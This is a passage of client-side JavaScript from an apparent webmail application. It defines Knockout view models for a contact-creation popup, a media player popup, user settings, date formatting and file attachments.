  	this.loading = ko.observable(false);
  
  	this.fCallback = null;
  	this.oContext = null;
  }
  
  /**
   * @return {string}
   */
  ContactCreatePopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_ContactCreatePopupViewModel';
  };
  
  /**
   * @param {string} sName
   * @param {string} sEmail
   * @param {Function} fContactCreateResponse
   * @param {Object} oContactCreateContext
   */
  ContactCreatePopup.prototype.onShow = function (sName, sEmail, fContactCreateResponse, oContactCreateContext)
  {
  	if (this.displayName() !== sName || this.email() !== sEmail)
  	{
  		this.displayName(sName);
  		this.email(sEmail);
  		this.phone('');
  		this.address('');
  		this.skype('');
  		this.facebook('');
  	}
  
  	if (Utils.isFunc(fContactCreateResponse))
  	{
  		this.fCallback = fContactCreateResponse;
  	}
  	if (oContactCreateContext)
  	{
  		this.oContext = oContactCreateContext;
  	}
  };
  
  ContactCreatePopup.prototype.onSaveClick = function ()
  {
  	if (!this.canBeSave())
  	{
  		App.Api.showError(Utils.i18n('CONTACTS/ERROR_EMPTY_CONTACT'));
  	}
  	else if (!this.loading())
  	{
  		var
  			oParameters = {
  				'Action': 'ContactCreate',
  				'PrimaryEmail': 'Home',
  				'UseFriendlyName': '1',
  				'FullName': this.displayName(),
  				'HomeEmail': this.email(),
  				'HomePhone': this.phone(),
  				'HomeStreet': this.address(),
  				'Skype': this.skype(),
  				'Facebook': this.facebook()
  			}
  		;
  
  		this.loading(true);
  		App.Ajax.send(oParameters, this.onContactCreateResponse, this);
  	}
  };
  
  
  ContactCreatePopup.prototype.onCancelClick = function ()
  {
  	this.loading(false);
  	this.closeCommand();
  };
  
  /**
   * @param {Object} oResponse
   * @param {Object} oRequest
   */
  ContactCreatePopup.prototype.onContactCreateResponse = function (oResponse, oRequest)
  {
  	this.loading(false);
  
  	if (!oResponse.Result)
  	{
  		App.Api.showErrorByCode(oResponse, Utils.i18n('WARNING/CREATING_ACCOUNT_ERROR'));
  	}
  	else
  	{
  		App.Api.showReport(Utils.i18n('CONTACTS/REPORT_CONTACT_SUCCESSFULLY_ADDED'));
  		App.ContactsCache.clearInfoAboutEmail(oRequest.HomeEmail);
  		App.ContactsCache.getContactsByEmails([oRequest.HomeEmail], this.fCallback, this.oContext);
  		this.closeCommand();
  	}
  };
  
  ContactCreatePopup.prototype.canBeSave = function ()
  {
  	return this.displayName() !== '' || this.email() !== '';
  };
  
  ContactCreatePopup.prototype.goToContacts = function ()
  {
  	App.ContactsCache.newContactParams = {
  		displayName: this.displayName(),
  		email: this.email(),
  		phone: this.phone(),
  		address: this.address(),
  		skype: this.skype(),
  		facebook: this.facebook()
  	};
  	this.closeCommand();
  	App.Routing.replaceHash(App.Links.contacts());
  };
  /**
   * @constructor
   */
  function PlayerPopup()
  {
  	this.iframe = ko.observable('');
  	//this.closeCallback = null;
  }
  
  PlayerPopup.prototype.onShow = function (sIframe)
  {
  	this.iframe(sIframe);
  	//this.closeCallback = fCloseCallback || null;
  };
  
  /**
   * @return {string}
   */
  PlayerPopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_PlayerPopupViewModel';
  };
  
  PlayerPopup.prototype.onClose = function ()
  {
  	if (Utils.isFunc(this.closeCallback))
  	{
  		this.closeCallback();
  	}
  	this.closeCommand();
  	this.iframe('');
  };
  
  
  /**
   * @constructor
   */
  function CUserSettingsModel()
  {
  	this.IdUser = 1;
  
  	// general settings that can be changed in the settings screen
  	this.MailsPerPage = 20;
  	this.ContactsPerPage = 20;
  	this.iInterval = -1;
  	this.AutoCheckMailInterval = 0;
  	this.DefaultTheme = 'Default';
  	this.DefaultLanguage = 'English';
  	this.DefaultLanguageShort = 'en';
  	this.DefaultDateFormat = 'MM/DD/YYYY';
  	this.defaultTimeFormat = ko.observable(Enums.TimeFormat.F24);
  	this.ThreadsEnabled = true;
  	this.useThreads = ko.observable(true);
  	this.SaveRepliedToCurrFolder = true;
  	this.AllowChangeInputDirection = false;
  	this.DesktopNotifications = false;
  	this.EmailNotification = '';
  
  	// allows the creation of messages
  	this.AllowCompose = true;
  
  	this.AllowReply = true;
  	this.AllowForward = true;
  	this.SaveMail = Enums.SaveMail.Checked;
  
  	this.AllowFetcher = false;
  
  	this.OutlookSyncEnable = true;
  	this.MobileSyncEnable = true;
  
  	this.ShowPersonalContacts = true;
  	this.ShowGlobalContacts = false;
  	
  	this.IsFilesSupported = false;
  	this.IsHelpdeskSupported = false;
  	this.IsHelpdeskAgent = false;
  	this.HelpdeskIframeUrl = '';
  
  	// allows to go to contacts screen and edit their settings
  	this.ShowContacts = this.ShowPersonalContacts || this.ShowGlobalContacts;
  
  	this.LastLogin = 0;
  	this.LoginsCount = 0;
  	this.SocialName = 0;
  	this.IsDemo = false;
  
  	this.AllowVoice = false;
  	this.SipRealm = '';
  	this.SipWebsocketProxyUrl = '';
  	this.SipOutboundProxyUrl = '';
  	this.SipCallerID = '';
  	this.SipImpi = '';
  	this.SipImpu = '';
  	this.SipPassword = '';
  	
  	this.VoiceProvider = '';
  	//this.VoiceAccountSID = '';
  	//this.VoiceAuthToken = '';
  	//this.VoiceAppSID = '';
  
  	// allows to go to calendar screen and edit its settings
  	this.AllowCalendar = true;
  	
  	this.CalendarSharing = false;
  	this.CalendarAppointments = false;
  
  	// calendar settings that can be changed in the settings screen
  	this.CalendarShowWeekEnds = false;
  	this.CalendarShowWorkDay = false;
  	this.CalendarWorkDayStarts = 0;
  	this.CalendarWorkDayEnds = 0;
  	this.CalendarWeekStartsOn = 0;
  	this.CalendarDefaultTab = Enums.CalendarDefaultTab.Month;
  	
  	this.mobileSync = ko.observable(null);
  	this.MobileSyncDemoPass = 'demo';
  	this.outlookSync = ko.observable(null);
  	this.OutlookSyncDemoPass = 'demo';
  	
  	this.AllowHelpdeskNotifications = false;
  	
  	this.IsCollaborationSupported = false;
  	this.AllowFilesSharing = false;
  	
  	this.DefaultFontName = 'Tahoma';
  	this.fillDefaultFontName();
  	
  	this.DefaultFontSize = 3;
  	this.fillDefaultFontSize();
  	
  	this.enableOpenPgp = ko.observable(false);
  	this.AllowAutosaveInDrafts = true;
  	this.AutosignOutgoingEmails = false;
  	
  	this.filesEnable = ko.observable(true);
  
  	this.helpdeskSignature = ko.observable('');
  	this.helpdeskSignatureEnable = ko.observable(false);
  
  	this.SocialAccounts = ko.observableArray([]);
  	this.CanLoginWithPassword = true;
  }
  
  CUserSettingsModel.prototype.fillDefaultFontName = function ()
  {
  	var sDefaultFontName = Utils.pString(AppData.HtmlEditorDefaultFontName);
  	
  	if (sDefaultFontName !== '')
  	{
  		this.DefaultFontName = sDefaultFontName;
  	}
  };
  
  CUserSettingsModel.prototype.fillDefaultFontSize = function ()
  {
  	var iDefaultFontSize = Utils.pInt(AppData.HtmlEditorDefaultFontSize);
  	
  	if (Utils.inArray(iDefaultFontSize, [2, 3, 5, 7]) !== -1)
  	{
  		this.DefaultFontSize = iDefaultFontSize;
  	}
  };
  
  /**
   * @return {boolean}
   */
  CUserSettingsModel.prototype.getSaveMailInSentItems = function ()
  {
  	var bSaveMailInSentItems = true;
  	
  	switch (this.SaveMail)
  	{
  		case Enums.SaveMail.Unchecked:
  			bSaveMailInSentItems = false;
  			break;
  		case Enums.SaveMail.Checked:
  		case Enums.SaveMail.Hidden:
  			bSaveMailInSentItems = true;
  			break;
  	}
  	
  	return bSaveMailInSentItems;
  };
  
  /**
   * @return {boolean}
   */
  CUserSettingsModel.prototype.getUseSaveMailInSentItems = function ()
  {
  	var bUseSaveMailInSentItems = false;
  	
  	switch (this.SaveMail)
  	{
  		case Enums.SaveMail.Unchecked:
  		case Enums.SaveMail.Checked:
  			bUseSaveMailInSentItems = true;
  			break;
  		case Enums.SaveMail.Hidden:
  			bUseSaveMailInSentItems = false;
  			break;
  	}
  	
  	return bUseSaveMailInSentItems;
  };
  
  /**
   * @param {AjaxUserSettingsResponse} oData
   */
  CUserSettingsModel.prototype.parse = function (oData)
  {
  	var oCalendar = null;
  
  	if (oData !== null)
  	{
  		this.IdUser = Utils.pInt(oData.IdUser);
  		this.MailsPerPage = Utils.pInt(oData.MailsPerPage);
  		this.ContactsPerPage = Utils.pInt(oData.ContactsPerPage);
  		this.AutoCheckMailInterval = Utils.pInt(oData.AutoCheckMailInterval);
  		this.DefaultTheme = Utils.pString(oData.DefaultTheme);
  		this.DefaultLanguage = Utils.pString(oData.DefaultLanguage);
  		this.DefaultLanguageShort = Utils.pString(oData.DefaultLanguageShort);
  		this.DefaultDateFormat = Utils.pString(oData.DefaultDateFormat);
  		this.defaultTimeFormat(Utils.pString(oData.DefaultTimeFormat));
  		this.ThreadsEnabled = !!oData.ThreadsEnabled;
  		this.useThreads(!!oData.UseThreads);
  		this.SaveRepliedToCurrFolder = !!oData.SaveRepliedMessagesToCurrentFolder;
  		this.DesktopNotifications = !!oData.DesktopNotifications;
  		this.EmailNotification = Utils.pString(oData.EmailNotification);
  		this.AllowChangeInputDirection = !!oData.AllowChangeInputDirection;
  		this.AllowCompose = !!oData.AllowCompose;
  		this.AllowReply = !!oData.AllowReply;
  		this.AllowForward = !!oData.AllowForward;
  		this.SaveMail = Utils.pInt(oData.SaveMail);
  
  		this.AllowFetcher = !!oData.AllowFetcher;
  
  		this.OutlookSyncEnable = !!oData.OutlookSyncEnable;
  		this.MobileSyncEnable = !!oData.MobileSyncEnable;
  		this.ShowPersonalContacts = !!oData.ShowPersonalContacts;
  		this.ShowGlobalContacts = !!oData.ShowGlobalContacts;
  		this.ShowContacts = this.ShowPersonalContacts || this.ShowGlobalContacts;
  		
  		this.IsFilesSupported = !!oData.IsFilesSupported && !bMobileApp;
  		this.filesEnable(!!oData.FilesEnable && !bMobileApp);
  		this.IsHelpdeskSupported = !!oData.IsHelpdeskSupported && !bMobileApp;
  		this.IsHelpdeskAgent = !!oData.IsHelpdeskAgent;
  
  		this.helpdeskSignature(Utils.pString(oData.HelpdeskSignature));
  		this.helpdeskSignatureEnable(oData.HelpdeskSignatureEnable ? '1' : '0');
  
  		this.LastLogin = Utils.pInt(oData.LastLogin);
  		this.LoginsCount = Utils.pInt(oData.LoginsCount);
  		this.SocialName = Utils.pString(oData.SocialName);
  		this.AllowCalendar = !!oData.AllowCalendar && !bMobileApp;
  
  		this.CalendarSharing = !!oData.CalendarSharing;
  		this.CalendarAppointments = !!oData.CalendarAppointments;
  		
  		this.IsDemo = !!oData.IsDemo;
  
  		this.AllowVoice = !!oData.AllowVoice;
  		this.SipRealm = oData.SipRealm;
  		this.SipWebsocketProxyUrl = oData.SipWebsocketProxyUrl;
  		this.SipOutboundProxyUrl = oData.SipOutboundProxyUrl;
  		this.SipCallerID = oData.SipCallerID;
  		this.SipImpi = oData.SipImpi;
  		this.SipImpu = oData.SipImpu;
  		this.SipPassword = oData.SipPassword;
  		
  		this.VoiceProvider = oData.VoiceProvider;
  		//this.VoiceAccountSID = oData.VoiceRealm;
  		//this.VoiceAuthToken = oData.VoiceAuthToken;
  		//this.VoiceAppSID = oData.VoiceAppSID;
  		
  		this.AllowHelpdeskNotifications = oData.AllowHelpdeskNotifications;
  		this.IsCollaborationSupported = !!oData.IsCollaborationSupported;
  		this.AllowFilesSharing = !!oData.AllowFilesSharing;
  		
  		this.enableOpenPgp(!!oData.EnableOpenPgp);
  		this.AllowAutosaveInDrafts = !!oData.AllowAutosaveInDrafts && (AppData.App ? AppData.App.AutoSave : false);
  		//this.AutosignOutgoingEmails = !!oData.AutosignOutgoingEmails;
  
  		oCalendar = oData.Calendar;
  		if (oCalendar)
  		{
  			this.CalendarShowWeekEnds = !!oCalendar.ShowWeekEnds;
  			this.CalendarShowWorkDay = !!oCalendar.ShowWorkDay;
  			this.CalendarWorkDayStarts = Utils.pInt(oCalendar.WorkDayStarts);
  			this.CalendarWorkDayEnds = Utils.pInt(oCalendar.WorkDayEnds);
  			this.CalendarWeekStartsOn = Utils.pInt(oCalendar.WeekStartsOn);
  			this.CalendarDefaultTab = Utils.pInt(oCalendar.DefaultTab);
  		}
  		
  		this.SocialAccounts(oData.SocialAccounts);
  		
  		this.CanLoginWithPassword = !!oData.CanLoginWithPassword;
  	}
  };
  
  /**
   * @param {number} iMailsPerPage
   * @param {number} iContactsPerPage
   * @param {number} iAutoCheckMailInterval
   * @param {string} sDefaultTheme
   * @param {string} sDefaultLanguage
   * @param {string} sDefaultDateFormat
   * @param {string} sDefaultTimeFormat
   * @param {string} sUseThreads
   * @param {string} sSaveRepliedToCurrFolder
   * @param {string} sDesktopNotifications
   * @param {string} sAllowChangeInputDirection
   * @param {string} sEmailNotification
   */
  CUserSettingsModel.prototype.updateCommonSettings = function (iMailsPerPage, iContactsPerPage,
  	iAutoCheckMailInterval, sDefaultTheme, sDefaultLanguage, sDefaultDateFormat, sDefaultTimeFormat, 
  	sUseThreads, sSaveRepliedToCurrFolder, sDesktopNotifications, sAllowChangeInputDirection, sEmailNotification)
  {
  	var bNeedToUpdateMessageDates = this.defaultTimeFormat() !== sDefaultTimeFormat;
  	
  	this.MailsPerPage = iMailsPerPage;
  	this.ContactsPerPage = iContactsPerPage;
  	this.AutoCheckMailInterval = iAutoCheckMailInterval;
  	App.MailCache.setAutocheckmailTimer();
  	this.DefaultTheme = sDefaultTheme;
  	this.DefaultLanguage = sDefaultLanguage;
  	this.DefaultDateFormat = sDefaultDateFormat;
  	this.defaultTimeFormat(sDefaultTimeFormat);
  	this.useThreads('1' === sUseThreads);
  	
  	this.SaveRepliedToCurrFolder = '1' === sSaveRepliedToCurrFolder;
  	this.AllowChangeInputDirection = '1' === sAllowChangeInputDirection;
  	this.DesktopNotifications = '1' === sDesktopNotifications;
  	this.EmailNotification = sEmailNotification;
  	
  	if (bNeedToUpdateMessageDates)
  	{
  		App.nowDateNumber.valueHasMutated();
  	}
  };
  
  /**
   * @param {string} sEnableOpenPgp
   * @param {string} sAllowAutosaveInDrafts
   * @param {string} sAutosignOutgoingEmails
   */
  CUserSettingsModel.prototype.updateOpenPgpSettings = function (sEnableOpenPgp, sAllowAutosaveInDrafts, sAutosignOutgoingEmails)
  {
  	this.enableOpenPgp('1' === sEnableOpenPgp);
  	this.AllowAutosaveInDrafts = '1' === sAllowAutosaveInDrafts;
  //	this.AutosignOutgoingEmails = '1' === sAutosignOutgoingEmails;
  };
  
  /**
   * @param {boolean} bShowWeekEnds
   * @param {boolean} bShowWorkDay
   * @param {number} iWorkDayStarts
   * @param {number} iWorkDayEnds
   * @param {number} iWeekStartsOn
   * @param {number} iDefaultTab
   */
  CUserSettingsModel.prototype.updateCalendarSettings = function (bShowWeekEnds, bShowWorkDay,
  		iWorkDayStarts, iWorkDayEnds, iWeekStartsOn, iDefaultTab)
  {
  	this.CalendarShowWeekEnds = bShowWeekEnds;
  	this.CalendarShowWorkDay = bShowWorkDay;
  	this.CalendarWorkDayStarts = iWorkDayStarts;
  	this.CalendarWorkDayEnds = iWorkDayEnds;
  	this.CalendarWeekStartsOn = iWeekStartsOn;
  	this.CalendarDefaultTab = iDefaultTab;
  };
  
  /**
   * @param {boolean} bAllowHelpdeskNotifications
   * @param {string} sSignature
   * @param {string} sSignatureEnable
   */
  CUserSettingsModel.prototype.updateHelpdeskSettings = function (bAllowHelpdeskNotifications, sSignature, sSignatureEnable)
  {
  	this.AllowHelpdeskNotifications = bAllowHelpdeskNotifications;
  	this.helpdeskSignature(sSignature);
  	this.helpdeskSignatureEnable(sSignatureEnable);
  };
  
  /**
   * @param {Object} oResponse
   * @param {Object} oRequest
   */
  CUserSettingsModel.prototype.onUserSettingsGetSyncResponse = function (oResponse, oRequest)
  {
  	if (oResponse.Result)
  	{
  		this.mobileSync(oResponse.Result.Mobile);
  		this.outlookSync(oResponse.Result.Outlook);
  	}
  	else
  	{
  		App.Api.showErrorByCode(oResponse);
  	}
  };
  
  CUserSettingsModel.prototype.requestSyncSettings = function ()
  {
  	if (this.mobileSync() === null || this.outlookSync() === null)
  	{
  		App.Ajax.send({'Action': 'UserSettingsGetSync'}, this.onUserSettingsGetSyncResponse, this);
  	}
  };
  
  
  /**
   * @constructor
   */
  function CDateModel()
  {
  	this.iTimeStampInUTC = 0;
  	this.oMoment = null;
  }
  
  /**
   * @param {number} iTimeStampInUTC
   */
  CDateModel.prototype.parse = function (iTimeStampInUTC)
  {
  	this.iTimeStampInUTC = iTimeStampInUTC;
  	this.oMoment = moment.unix(this.iTimeStampInUTC);
  };
  
  /**
   * @param {number} iYear
   * @param {number} iMonth
   * @param {number} iDay
   */
  CDateModel.prototype.setDate = function (iYear, iMonth, iDay)
  {
  	this.oMoment = moment([iYear, iMonth, iDay]);
  };
  
  /**
   * @return {string}
   */
  CDateModel.prototype.getTimeFormat = function ()
  {
  	return (AppData.User.defaultTimeFormat() === Enums.TimeFormat.F24) ?
  		'HH:mm' : 'hh:mm A';
  };
  
  /**
   * @return {string}
   */
  CDateModel.prototype.getFullDate = function ()
  {
  	return (this.oMoment) ? this.oMoment.format('ddd, MMM D, YYYY, ' + this.getTimeFormat()) : '';
  };
  
  /**
   * @return {string}
   */
  CDateModel.prototype.getMidDate = function ()
  {
  	return this.getShortDate(true);
  };
  
  /**
   * @param {boolean=} bTime = false
   * 
   * @return {string}
   */
  CDateModel.prototype.getShortDate = function (bTime)
  {
  	var
  		sResult = '',
  		oMomentNow = null
  	;
  
  	if (this.oMoment)
  	{
  		oMomentNow = moment();
  
  		if (oMomentNow.format('L') === this.oMoment.format('L'))
  		{
  			sResult = this.oMoment.format(this.getTimeFormat());
  		}
  		else
  		{
  			if (oMomentNow.clone().subtract(1, 'days').format('L') === this.oMoment.format('L'))
  			{
  				sResult = Utils.i18n('DATETIME/YESTERDAY');
  			}
  			else if (oMomentNow.year() === this.oMoment.year())
  			{
  				sResult = this.oMoment.format('MMM D');
  			}
  			else
  			{
  				sResult = this.oMoment.format('MMM D, YYYY');
  			}
  
  			if (Utils.isUnd(bTime) ? false : !!bTime)
  			{
  				sResult += ', ' + this.oMoment.format(this.getTimeFormat());
  			}
  		}
  	}
  
  	return sResult;
  };
  
  /**
   * @return {string}
   */
  CDateModel.prototype.getDate = function ()
  {
  	return (this.oMoment) ? this.oMoment.format('ddd, MMM D, YYYY') : '';
  };
  
  /**
   * @return {string}
   */
  CDateModel.prototype.getTime = function ()
  {
  	return (this.oMoment) ? this.oMoment.format(this.getTimeFormat()): '';
  };
  
  /**
   * @param {string} iDate
   * 
   * @return {string}
   */
  CDateModel.prototype.convertDate = function (iDate)
  {
  	var sFormat = Utils.getDateFormatForMoment(AppData.User.DefaultDateFormat) + ' ' + this.getTimeFormat();
  	
  	return moment(iDate * 1000).format(sFormat);
  };
  
  /**
   * @return {number}
   */
  CDateModel.prototype.getTimeStampInUTC = function ()
  {
  	return this.iTimeStampInUTC;
  };
  
  /**
   * @constructor
   */
  function CCommonFileModel()
  {
  	this.isIosDevice = bIsIosDevice;
  
  	this.isFolder = ko.observable(false);
  	this.isLink = ko.observable(false);
  	this.linkType = ko.observable(Enums.FileStorageLinkType.Unknown);
  	this.linkUrl = ko.observable('');
  	this.isPopupItem = ko.observable(false);
  	
  	this.id = ko.observable('');
  	this.fileName = ko.observable('');
  	this.tempName = ko.observable('');
  	this.displayName = ko.observable('');
  	this.extension = ko.observable('');
  	this.oembed = ko.observable('');
  	this.linkType.subscribe(function (iLinkType) {
  		var sOembed = '';
  		switch (iLinkType)
  		{
  			case Enums.FileStorageLinkType.YouTube:
  				sOembed = 'YouTube';
  				break;
  			case Enums.FileStorageLinkType.Vimeo:
  				if (!App.browser.ie || App.browser.ie11)
  				{
  					sOembed = 'Vimeo';
  				}
  				break;
  			case Enums.FileStorageLinkType.SoundCloud:
  				if (!App.browser.ie || App.browser.ie10AndAbove)
  				{
  					sOembed = 'SoundCloud';
  				}
  				break;
  		}
  
  		this.oembed(sOembed);
  	}, this);
  	
  	this.fileName.subscribe(function (sFileName) {
  		this.id(sFileName);
  		this.displayName(sFileName);
  		this.extension(this.isFolder() ? '' : Utils.getFileExtension(sFileName));
  	}, this);
  	
  	this.size = ko.observable(0);
  	this.friendlySize = ko.computed(function () {
  		return this.size() > 0 ? Utils.friendlySize(this.size()) : '';
  	}, this);
  	
  	this.content = ko.observable('');
  
  	this.accountId = ko.observable((AppData.Accounts) ? AppData.Accounts.defaultId() : null);
  	this.hash = ko.observable('');
  	this.thumb = ko.observable(false);
  	this.iframedView = ko.observable(false);
  
  	this.downloadLink = ko.computed(function () {
  		return Utils.getDownloadLinkByHash(this.accountId(), this.hash());
  	}, this);
  
  	this.viewLink = ko.computed(function () {
  		var sUrl = Utils.File.getViewLinkByHash(this.accountId(), this.hash());
  		return this.iframedView() ? Utils.getIframeWrappwer(this.accountId(), sUrl) : sUrl;
  	}, this);
  
  	this.thumbnailSrc = ko.observable('');
  	this.thumbnailLoaded = ko.observable(false);
  	this.thumbnailSessionUid = ko.observable('');
  
  	this.thumbnailLink = ko.computed(function () {
  		return this.thumb() ? Utils.getViewThumbnailLinkByHash(this.accountId(), this.hash()) : '';
  	}, this);
  
  	this.type = ko.observable('');
  	this.uploadUid = ko.observable('');
  	this.uploaded = ko.observable(false);
  	this.uploadError = ko.observable(false);
  	this.visibleImportLink = ko.computed(function () {
  		return AppData.User.enableOpenPgp() && this.extension().toLowerCase() === 'asc' && this.content() !== '' && !this.isPopupItem();
  	}, this);
  	this.isViewMimeType = ko.computed(function () {
  		return (-1 !== $.inArray(this.type(), aViewMimeTypes)) || this.iframedView();
  	}, this);
  	this.isMessageType = ko.observable(false);
  	this.visibleViewLink = ko.computed(function () {
  		return this.isVisibleViewLink() && !this.isPopupItem();
  	}, this);
  	this.visibleOpenLink = ko.computed(function () {
  		return this.linkUrl() !== '';
  	}, this);
  	this.visibleDownloadLink = ko.computed(function () {
  		return !this.isPopupItem() && !this.visibleOpenLink();
  	}, this);
  
  	this.subFiles = ko.observableArray([]);
  	this.allowExpandSubFiles = ko.observable(false);
  	this.subFilesLoaded = ko.observable(false);
  	this.subFilesCollapsed = ko.observable(false);
  	this.subFilesStartedLoading = ko.observable(false);
  	this.visibleExpandLink = ko.computed(function () {
  		return this.allowExpandSubFiles() && !this.subFilesCollapsed() && !this.subFilesStartedLoading();
  	}, this);
  	this.visibleExpandingText = ko.computed(function () {
  		return this.allowExpandSubFiles() && !this.subFilesCollapsed() && this.subFilesStartedLoading();
  	}, this);
  	
  	this.visibleSpinner = ko.observable(false);
  	this.statusText = ko.observable('');
  	this.statusTooltip = ko.computed(function () {
  		return this.uploadError() ? this.statusText() : '';
  	}, this);
  	this.progressPercent = ko.observable(0);
  	this.visibleProgress = ko.observable(false);
  	
  	this.uploadStarted = ko.observable(false);
  	this.uploadStarted.subscribe(function () {
  		if (this.uploadStarted())
  		{
  			this.uploaded(false);
  			this.visibleProgress(true);
  			this.progressPercent(20);
  		}
  		else
  		{
  			this.progressPercent(100);
  			this.visibleProgress(false);
  			this.uploaded(true);
  		}
  	}, this);
  	
  	this.allowDrag = ko.observable(false);
  	this.allowSelect = ko.observable(false);
  	this.allowCheck = ko.observable(false);
  	this.allowDelete = ko.observable(false);
  	this.allowUpload = ko.observable(false);
  	this.allowSharing = ko.observable(false);
  	this.allowHeader = ko.observable(false);
  	this.allowDownload = ko.observable(true);
  
  	this.downloadTitle = ko.computed(function () {
  		var sTitle = '';
  		
  		if (!this.allowSelect() && this.allowDownload())
  		{
  			sTitle = Utils.i18n('MESSAGE/ATTACHMENT_CLICK_TO_DOWNLOAD', {
  				'FILENAME': this.fileName(),
  				'SIZE': this.friendlySize()
  			});
  			
  			if (this.friendlySize() === '')
  			{
  				sTitle = sTitle.replace(' ()', '');
  			}
  		}
  		
  		return sTitle;
  	}, this);
  
  	this.oembedHtml = ko.observable('');
  }
  
  /**
   * Can be overridden.
   */
  CCommonFileModel.prototype.dataObjectName = '';
  
  /**
   * Can be overridden.
   * 
   * @returns {boolean}
   */
  CCommonFileModel.prototype.isVisibleViewLink = function ()
  {
  	return this.uploaded() && !this.uploadError() && this.isViewMimeType();
  };
  
  /**
   * Parses attachment data from server.
   *
   * @param {AjaxAttachmenResponse} oData
   * @param {number} iAccountId
   */
  CCommonFileModel.prototype.parse = function (oData, iAccountId)
  {
  	if (oData['@Object'] === this.dataObjectName)
  	{
  		this.fileName(Utils.pString(oData.FileName));
  		this.tempName(Utils.pString(oData.TempName));
  		if (this.tempName() === '')
  		{
  			this.tempName(this.fileName());
  		}
  
  		this.type(Utils.pString(oData.MimeType));
  		this.size(oData.EstimatedSize ? parseInt(oData.EstimatedSize, 10) : parseInt(oData.SizeInBytes, 10));
  		this.content(Utils.pString(oData.Content));
  
  		this.thumb(!!oData.Thumb);
  
  		this.hash(Utils.pString(oData.Hash));
  		this.accountId(iAccountId);
  		this.allowExpandSubFiles(!!oData.Expand);
  		
  		this.iframedView(!!oData.Iframed);
  
  		this.uploadUid(this.hash());
  		this.uploaded(true);
  		
  		if (Utils.isFunc(this.additionalParse))
  		{
  			this.additionalParse(oData);
  		}
  	}
  };
  
  CCommonFileModel.prototype.getInThumbQueue = function (sThumbSessionUid)
  {
  	this.thumbnailSessionUid(sThumbSessionUid);
  	if(this.thumb() && (!this.linked || this.linked && !this.linked()))
  	{
  		Utils.thumbQueue(this.thumbnailSessionUid(), this.thumbnailLink(), this.thumbnailSrc);
  	}
  };
  
  /**
   * @param {Object=} oApp
   * 
   * Starts downloading attachment on click.
   */
  CCommonFileModel.prototype.downloadFile = function (oApp)
  {
  	if (this.allowDownload())
  	{
  		if (!oApp || !oApp.Api || !oApp.Api.downloadByUrl)
  		{
  			oApp = App;
  		}
  
  		if (oApp && this.downloadLink().length > 0 && this.downloadLink() !== '#')
  		{
  			oApp.Api.downloadByUrl(this.downloadLink());
  		}
  	}
  };
  
  /**
   * @param {Object} oResponse
   * @param {Object} oRequest
   */
  CCommonFileModel.prototype.onFileExpandResponse = function (oResponse, oRequest)
  {
  	this.subFiles([]);
  	if (Utils.isNonEmptyArray(oResponse.Result))
  	{
  		_.each(oResponse.Result, _.bind(function (oRawFile) {
  			var oFile = this.getInstance();
  			oRawFile['@Object'] = this.dataObjectName;
  			oFile.parse(oRawFile, this.accountId());
  			this.subFiles.push(oFile);
  		}, this));
  		this.subFilesLoaded(true);
  		this.subFilesCollapsed(true);
  	}
  	this.subFilesStartedLoading(false);
  };
  
  /**
   * Starts expanding attachment on click.
   */
  CCommonFileModel.prototype.expandFile = function ()
  {
  	if (!this.subFilesLoaded())
  	{
  		this.subFilesStartedLoading(true);
  		App.Ajax.send({
  			'Action': 'FileExpand',
  			'RawKey': this.hash()
  		}, this.onFileExpandResponse, this);
  	}
  	else
  	{
  		this.subFilesCollapsed(true);
  	}
  };
  
  /**
   * Collapse attachment on click.
   */
  CCommonFileModel.prototype.collapseFile = function ()
  {
  	this.subFilesCollapsed(false);
  };
  
  /**
   * @returns {CCommonFileModel}
   */
  CCommonFileModel.prototype.getInstance = function ()
  {
  	return new CCommonFileModel();
  };
  
  /**
   * Starts importing attachment on click.
   */
  CCommonFileModel.prototype.importFile = function ()
  {
  	var
  		sContent = this.content(),
  		fPgpCallback = _.bind(function (oPgp) {
  			if (oPgp)
  			{
  				App.Screens.showPopup(CImportOpenPgpKeyPopup, [oPgp, sContent]);
  			}
  		}, this)
  	;
  	
  	App.Api.pgp(fPgpCallback, AppData.User.IdUser);
  };
  
  /**
   * @param {Object} oViewModel
   * @param {Object} oEvent
   * @param {Object} oApp
   */
  CCommonFileModel.prototype.downloadOrViewByIconClick = function (oViewModel, oEvent, oApp)
  {
  	if (this.oembed() !== '')
  	{
  		this.viewFile(oViewModel, oEvent);
  	}
  	else if (!this.allowSelect())
  	{
  		this.downloadFile(oApp);
  	}
  };
  
  /**
   * Can be overridden.
   * 
   * Starts viewing attachment on click.
   */
  CCommonFileModel.prototype.viewFile = function (oViewModel, oEvent)
  {
  	Utils.calmEvent(oEvent);
  	this.viewCommonFile();
  };
  
  CCommonFileModel.prototype.openLink = function ()
  {
  	Utils.WindowOpener.openTab(this.viewLink());
  };
  
  /**
   * Starts viewing attachment on click.
   */
  CCommonFileModel.prototype.viewCommonFile = function ()
  {
  	var
  		sUrl = Utils.Common.getAppPath() + this.viewLink(),
  		oWin = null
  	;
  
  	if (this.visibleViewLink() && this.viewLink().length > 0 && this.viewLink() !== '#')
  	{
  		if (this.isLink()/* && this.linkType() === Enums.FileStorageLinkType.GoogleDrive*/)
  		{
  			sUrl = this.linkUrl();
  		}
  
  		if (this.oembedHtml() !== '')
  		{
  			App.Api.showPlayer(this.oembedHtml());
  		}
  		else if (this.iframedView())
  		{
  			oWin = Utils.WindowOpener.openTab(sUrl);
  		}
  		else
  		{
  			oWin = Utils.WindowOpener.open(sUrl, sUrl, false);
  		}
  
  		if (oWin)
  		{
  			oWin.focus();
  		}
  	}
  };
  
  /**
   * @param {Object} oAttachment
   * @param {*} oEvent
   * @return {boolean}
   */
  CCommonFileModel.prototype.eventDragStart = function (oAttachment, oEvent)
  {
  	var oLocalEvent = oEvent.originalEvent || oEvent;
  	if (oAttachment && oLocalEvent && oLocalEvent.dataTransfer && oLocalEvent.dataTransfer.setData)
  	{
  		oLocalEvent.dataTransfer.setData('DownloadURL', this.generateTransferDownloadUrl());
  	}
  
  	return true;
  };
  
  /**
   * @return {string}
   */
  CCommonFileModel.prototype.generateTransferDownloadUrl = function ()
  {
  	var sLink = this.downloadLink();
  	if ('http' !== sLink.substr(0, 4))
  	{
  		sLink = Utils.Common.getAppPath() + sLink;
  	}
  
  	return this.type() + ':' + this.fileName() + ':' + sLink;
  };
  
  /**
   * Fills attachment data for upload.
   *
   * @param {string} sFileUid
   * @param {Object} oFileData
   */
  CCommonFileModel.prototype.onUploadSelect = function (sFileUid, oFileData)
  {
  	this.fileName(Utils.pString(oFileData['FileName']));
